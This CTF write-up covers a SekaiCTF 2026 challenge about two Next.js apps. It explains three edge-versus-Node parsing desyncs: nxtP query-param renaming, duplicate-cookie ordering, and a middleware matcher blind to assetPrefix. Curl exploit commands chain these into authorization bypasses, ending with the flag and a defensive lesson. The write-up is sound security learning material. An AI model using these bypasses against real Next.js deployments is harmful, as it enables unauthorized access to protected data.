SekaiCTF 2026 - migurimental

Challenge Description

Two Next.js 16.2.9 (Pages Router) apps sit behind nginx. The flag in /flag.txt is cut in half, one half per app:

Every gate is enforced in middleware.js on the edge runtime, while the data it protects is read again in getServerSideProps on the Node runtime. The whole challenge is a study in edge-vs-node desyncs: the two runtimes parse the same request slightly differently.

CVE-2025-29927 — the x-middleware-subrequest skip header — is patched in 16.2.9, so no classic one-shot bypass works. Parser inconsistencies are the only way through.

Source Code Analysis

backstage1, where /backroom is the prize

apps/backstage1/middleware.js gates two routes:

1
export const config = { matcher: ['/access-card', '/backroom'] }
2

3
export async function middleware(request) {
4
  const session = await verifyJwt(request.cookies.get('session')?.value)
5
  if (!session?.sub) return deny(request)
6

7
  if (request.nextUrl.pathname === '/access-card') {
8
    const checkedId = request.nextUrl.searchParams.get('id')
9
    if (checkedId !== session.sub) return deny(request)          // you may only view YOUR OWN card
10
  }
11

12
  if (request.nextUrl.pathname === '/backroom') {
13
    const expectedTicket = session.ticketUuid
14
    const middlewareTicket = request.cookies.get('ticket_uuid')?.value || ''
15
    if (!expectedTicket || middlewareTicket !== expectedTicket) return deny(request)
16
  }
17

18
  return NextResponse.next()
19
}

pages/backroom.js re-checks only the cookie, never the session:

1
export async function getServerSideProps({ req, res }) {
2
  const ticketUser = await findByTicketUuid(req.cookies.ticket_uuid || '')
3
  if (ticketUser?.id !== 1) { res.statusCode = 403; return { props: { denied: true } } }
4
  return { props: { backstageNote: await readFirstFlagHalf(), denied: false } }
5
}

pages/access-card.js renders a QR code of user.ticketUuid for whatever query.id asks for:

1
export async function getServerSideProps({ query }) {
2
  const user = await findById(query.id)
3
  if (!user) return { notFound: true }
4
  const qrDataUrl = await QRCode.toDataURL(user.ticketUuid, { /* ... */ })
5
  return { props: { user: { id, username, tier }, qrDataUrl } }
6
}

miku is seeded as user id 1 with a random crypto.randomUUID() ticket, and the JWT secret is crypto.randomBytes(32) generated at runtime, so the session is unforgeable.

That sets up the squeeze: reading the first half needs findByTicketUuid(cookie).id === 1, i.e. miku’s ticket_uuid in my cookie. The only place that value is ever rendered is the QR on /access-card?id=1 — which the middleware locks to id === session.sub.

backstage2, where / is the prize

1
export const config = { matcher: ['/'] }
2
export function middleware(request) {
3
  if ((request.headers.get('x-real-migu') || '') !== '1.3.3.7') {
4
    return NextResponse.redirect(new URL('/rejected', request.url), 302)
5
  }
6
  return NextResponse.next()
7
}

1
module.exports = { assetPrefix: '/cdn' }

nginx force-sets proxy_set_header X-Real-Migu $remote_addr, so the header can never legitimately be 1.3.3.7. The load-bearing detail is assetPrefix: '/cdn'.

Bug 1 - the nxtP query-param desync

To leak miku’s ticket I need /access-card?id=1 to render while the middleware sees my own id.

What does not work, and why:

• Duplicate ?id=2284&id=1 — the middleware’s searchParams.get('id') returns the first value and passes, but the page builds query through Next’s searchParamsToUrlQuery, which collapses duplicates into an array. findById(["2284","1"]) binds the array as one SQL parameter, yielding NULL, no row, and a 404.
• Path and encoding tricks — the matcher regex actually over-matches relative to routing, so whenever the page renders, nextUrl.pathname is /access-card and the id check fires. backstage1 sets no assetPrefix or basePath, so there is nothing to hide behind.
• Internal headers — x-middleware-subrequest, x-nextjs-data, x-matched-path and friends are stripped or ineffective in 16.2.9.

The bug is Next’s internal query prefix nxtP (NEXT_QUERY_PARAM_PREFIX), used to smuggle route params. The two runtimes handle it in opposite directions:

• Edge middleware (server/web/utils.js, normalizeNextQueryParam) renames a nxtP-prefixed key to its suffix, deleting and overwriting the real key:

  1
  // nxtPid  ->  id     (real `id` is deleted, then replaced with nxtPid's value)
  2
  requestURL.searchParams.delete(normalizedKey)
  3
  for (const val of value) requestURL.searchParams.append(normalizedKey, val)
  4
  requestURL.searchParams.delete(key)

• Node page render (server/server-utils.js, filterInternalQuery) simply deletes the nxtP key, leaving the literal id untouched.

One request therefore splits cleanly in two:

1
GET /access-card?nxtPid=2284&id=1
2
Cookie: session=<my JWT, sub=2284>

The middleware resolves id to 2284, matches session.sub, and allows the request. The page drops nxtPid entirely and sees query.id === "1" — a clean string rather than the array the duplicate-param trick produced — so findById(1) returns miku and renders her QR.

Bug 2 - the duplicate-cookie desync

/backroom reads ticket_uuid with request.cookies.get() (edge @edge-runtime/cookies) in the middleware, and with req.cookies.ticket_uuid (Node next/dist/compiled/cookie) in the page. On duplicate cookies they disagree about which one wins:

Confirmed live, both orderings fail for the obvious reason:

# [garbage, mine] -> mw reads LAST=mine (passes), page reads FIRST=garbage -> 403 rejected
Cookie: session=<mine>; ticket_uuid=GARBAGE; ticket_uuid=<MINE>   => 403
# [mine, garbage] -> mw reads LAST=garbage != session.ticketUuid    => 302 /failed
Cookie: session=<mine>; ticket_uuid=<MINE>; ticket_uuid=GARBAGE    => 302

Putting miku first and mine last satisfies both checks in a single request — the middleware compares its last value against my session, and the page resolves its first value to miku:

1
GET /backroom
2
Cookie: session=<mine>; ticket_uuid=<MIKU_UUID>; ticket_uuid=<MY_UUID>

Bug 3 - the matcher that cannot see assetPrefix

The / matcher compiles to:

^(?:\/(_next\/data\/[^/]{1,}))?(?:\/(\/?index|\/?index\.json|...))?[\/#\?]?$

The regex knows about the /_next/data/<buildId> prefix but is completely blind to assetPrefix — basePath gets prepended to matchers, assetPrefix does not. Next’s data-route resolver, meanwhile, happily strips /cdn before resolving the page.

So a data request under the asset prefix reaches index’s getServerSideProps while the matcher never fires. The middleware does not run at all, which makes the x-real-migu gate irrelevant rather than bypassed:

1
GET /cdn/_next/data/<buildId>/index.json

<buildId> is published in __NEXT_DATA__ on any page, including /rejected.

Exploitation

Part 1, backstage1

B=https://migurimental.chals.sekai.team

# 1. Register -> valid session + your own ticket. Note your id (= session.sub).
curl -s -i -c jar.txt "$B/api/register" --data 'username=pwn123&password=password123'
#   sub=2284, ticket_uuid=cef4e3a6-...

# 2. nxtP desync: middleware sees id=2284 (yours), page renders id=1 (miku) -> miku's QR
curl -s -b jar.txt "$B/access-card?nxtPid=2284&id=1" -o miku.html
#   <h2>miku</h2> ... VIP ... <img src="data:image/png;base64,iVBOR...">

# 3. Decode the QR PNG  (jsQR / zbarimg)  ->  0464e4c2-2700-4e36-8401-597482a41ac7

# 4. Cookie desync: miku first (page), mine last (middleware)
curl -s -b jar.txt \
  -H 'Cookie: session=<SESS>; ticket_uuid=0464e4c2-2700-4e36-8401-597482a41ac7; ticket_uuid=cef4e3a6-...' \
  "$B/backroom"
#   "backstageNote":"SEKAI{7h3_l33k_15_b4ck_7h3_cr0wd_15_ch33r1ng_4nd_7h3_"

QR decode helper:

1
import fs from 'node:fs'; import { PNG } from 'pngjs'; import jsQR from 'jsqr'
2
const png = PNG.sync.read(fs.readFileSync(process.argv[2]))
3
console.log(jsQR(new Uint8ClampedArray(png.data), png.width, png.height).data)

Part 2, backstage2

B2=https://migurimental-2.chals.sekai.team

# 1. Grab buildId (and confirm assetPrefix:/cdn) from any page
curl -s "$B2/rejected" | grep -oE '"buildId":"[^"]+"'   # nRVcVzPJ7U21AcMTs21fY

# 2. assetPrefix matcher bypass -> index getServerSideProps, middleware skipped
curl -s --path-as-is "$B2/cdn/_next/data/nRVcVzPJ7U21AcMTs21fY/index.json"
#   "backstageNote":"c0nc3r7_c4n_f1n4lly_b3g1n_m1ku_m1ku_b34mmmmmmmmmmmm}"

Concatenating the halves gives the flag. All three bugs are the same lesson: the edge middleware and the Node handler disagree about nxtP params (edge renames, node drops), duplicate cookies (edge reads last, node reads first), and assetPrefix paths (the matcher ignores it, the resolver strips it). Any one of them walks a request past a middleware check and lets the page see something different, which is why authorization belongs next to the data access rather than in a separately-parsed layer in front of it.

Flag

SEKAI{7h3_l33k_15_b4ck_7h3_cr0wd_15_ch33r1ng_4nd_7h3_c0nc3r7_c4n_f1n4lly_b3g1n_m1ku_m1ku_b34mmmmmmmmmmmm}